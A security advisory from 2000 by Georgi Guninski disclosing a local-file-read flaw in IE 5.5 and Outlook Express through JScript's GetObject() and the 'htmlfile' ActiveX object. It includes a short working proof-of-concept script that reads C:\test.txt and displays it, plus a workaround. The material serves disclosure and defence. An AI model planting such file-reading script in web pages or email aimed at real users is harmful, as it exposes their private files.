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Subject: IE 5.5/Outlook Express security vulnerability - GetObject() expose user's files
From: Georgi Guninski (guninskiGUNINSKI.COM)
Date: Tue Sep 26 2000 - 09:02:49 CDT


Georgi Guninski security advisory #22, 2000

IE 5.5/Outlook Express security vulnerability - GetObject() expose
user's files

Systems affected:
IE 5.5, Outlook Express,(probably Outlook) - Win98/2000. Probably other
versions - have not tested.

Risk: High
Date: 26 September 2000

Legal Notice:
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute
it unmodified. You may not modify it and distribute it or distribute
parts of it without the author's written permission.

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or indirect use of the
information or functionality provided by this advisory or program.
Georgi Guninski, bears no responsibility for content or misuse of this
advisory or program or any derivatives thereof.

Description:
Internet Explorer 5.5/Outlook Express/(probably Outlook if Active
Scripting is enabled) under Windows 98/2000 (suppose all other versions
are also vulnerable)
allow reading local and UNC files.

Details:

The problem is the GetObject() JScript function and the "htmlfile"
ActiveX object.
A call a=GetObject("c:\\test.txt","htmlfile") creates a HTML document
object with full
access to its DOM.
Examine the code for details.

The code is:
------getobject1.html--------------------------------
<SCRIPT>
alert("This script reads C:\\TEST.TXT\nYou may need to create it");
a=GetObject("c:\\test.txt","htmlfile");
setTimeout("alert(a.body.innerText);",2000);
</SCRIPT>
-----------------------------------------------------

Demonstration is available at: http://www.guninski.com/getobject1.html

Workaround: Disable Active Scripting

Regards,
Georgi Guninski
http://www.guninski.com